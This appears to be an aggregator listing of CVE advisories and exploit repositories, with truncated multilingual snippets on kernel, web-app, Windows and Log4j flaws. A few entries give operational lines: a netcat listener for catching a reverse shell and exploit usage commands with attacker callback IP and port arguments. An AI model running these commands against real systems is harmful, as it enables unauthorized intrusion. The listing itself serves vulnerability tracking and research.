CVE-2026-98061

A flaw was found in the Linux kernel's eBPF Extended Berkeley Packet Filter verifier. A privileged local user with the CAPBPF capability can exploit this vulnerability by loading a crafted program that makes a tail call directly from within a callback function. This triggers an inconsistent...

CVE-2026-33017

Моя простая реализация CVE-2026-33017 на bash. Подробное объяснение смотрите по следующей ссылке: https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx Используйте nc -lvnp PORT для получения обратного шелла...

CVE-2026-67993

basecamp/upright at commit efe4f2e5254ac6e57e45d2261804cca74dbbca3f contains a login cross-site request forgery issue in the static credentials callback...

CVE-2026-67993

The basecamp/upright software, specifically at commit efe4f2e5254ac6e57e45d2261804cca74dbbca3f , is vulnerable to a login cross-site request forgery (CSRF) issue. This vulnerability exists within the static credentials callback . While the impact is categorized as high severity (CVSS 8.8) involvi...

EUVD-2026-89426

basecamp/upright at commit efe4f2e5254ac6e57e45d2261804cca74dbbca3f contains a login cross-site request forgery issue in the static credentials callback...

CVE-2026-67993

basecamp/upright at commit efe4f2e5254ac6e57e45d2261804cca74dbbca3f contains a login cross-site request forgery issue in the static credentials callback...

EUVD-2026-88545

In proxygen from v2024.10.28.00 until v2026.09.28.00, WebTransportImpl::terminateSessionStreams WebTransportImpl::destroy in releases before v2025.08.18.00 failed to unregister read callbacks for streams that were no longer open before destroying them. The transport could then invoke a read...

CVE-2026-49176_LPE_POC

CVE-2026-49176 SYSTEM Shell PoC Local privilege-escalation proof of concept for the Windows WalletService vulnerability fixed in July 2026. Technical write-up: CVE-2026-49176 Exploit Development: WalletService to SYSTEM. A standard user creates a Wallet ESE database containing a persisted callbac...

letsdefend-cve2024-3400-case-study

letsdefend-cve2024-3400-case-study Détection, analyse et stratégies de réponse pour les tentatives d'exploitation de CVE-2024-3400 ciblant les portails GlobalProtect de Palo Alto PAN-OS. Inclut les IOC, les schémas d'exploitation et les conseils d'atténuation. Enquête sur l'incident CVE-2024-3400...

CVE-2023-38146

PoC для эксплойта ThemeBleed CVE-2023-38146 темы Windows 11 Сильно вдохновлено https://github.com/gabe-k/themebleed, который работает только на Windows именно поэтому я решил написать это. Использован модифицированный код из impacket smbserver.py...

CVE-2025-24813

CVE-2025-24813 Analyse et reproduction simple de CVE-2025-24813, avec un script d'exploitation basique usage: CVE-2025-24813.py -h -u URL -d DATA CVE-2025-24813 optional arguments: -h, --help show this help message and exit -u URL, --url URL URL -d DATA, --data DATA base64serialdata Exemple Lance...

CallStranger

CallStranger Этот скрипт создан Юнусом Чадырджи https://twitter.com/yunuscadirci для проверки уязвимости CallStranger CVE-2020-12695. Злоумышленник может использовать эту уязвимость для: Обхода DLP для эксфильтрации данных Использования миллионов Internet-facing UPnP устройств как источника...

Solar-exploiting-log-4j

🔥 Solar Exploiting Log4j - Прохождение TryHackMe 📌 Комната: Solar Exploiting Log4j Платформа: TryHackMe Сложность: Средняя Тема: Log4Shell Уязвимость Log4j 🧠 Цель Эксплуатировать уязвимость Log4j CVE-2021-44228 для получения удаленного выполнения кода и захвата флагов. 🛠️ Используемые инструменты...

Important: rclone

Issue Overview: The source-address critical option in the Permissions returned by an authentication callback was only enforced for the PublicKeyCallback and VerifiedPublicKeyCallback paths, extending the fix for CVE-2026-46595. Permissions returned by the PasswordCallback,...

jugular

jugular Utilisez jugs pour rechercher CUPS : un émetteur UDP ultrarapide, qui tente de titiller les processus cups-browsed à l'écoute pour déclencher un rappel HTTP. C'est un scanner haute performance qui écrit des paquets UDP directement sur le réseau. Installation Ubuntu ou similaire sudo apt...

py-log4shellscanner

PY-Log4ShellScanner Un serveur DNSLog simple en un seul fichier avec point de terminaison HTTP pour la récupération des logs Crédit Basé sur le Log4jScanner de fullhunt.io, modifié avec du multithreading et un serveur DNS Callback personnalisé Fonctionnalités Prise en charge des listes d'URL...

SharpWnfSuite

SharpWnfSuite Это репозиторий для инструментов Windows Notification Facility WNF. В настоящее время загружен C-порт инструментов из wnfun, разработанных Алексом Ионеску @aionescu и Габриэль Виала @pwissenlit. Когда я разработаю дополнительные инструменты для Windows Notification Facility, они буд...

CVE-2025-3605

🚀 Guide d'exploitation CVE-2025-3605 🛡️ Résumé de la vulnérabilité Le plugin Frontend Login and Registration Blocks pour WordPress versions = 1.0.7 est vulnérable à une escalade de privilèges via une prise de contrôle de compte. Le problème survient car le plugin ne valide pas l'identité de...

CVE-2024-21762

Utilisations : python3 exploit.py --target 192.168.1.1:443 --callback-ip YOURIP --callback-port 8080...

CVE-2007-2447

CVE-2007-2447 Saikat Karmakar | Octobre 14 : 2022 Utilisation : python3 exploit-smb-3.0.20.py -lh -lp -t prérequis pysmb argparse P.S. Je ne suis pas l'auteur de ce cve. Je n'avais à peine un ordinateur quand ce cve a été créé. J'ai essayé de créer un script automatisé pour exploiter CVE-2007-244...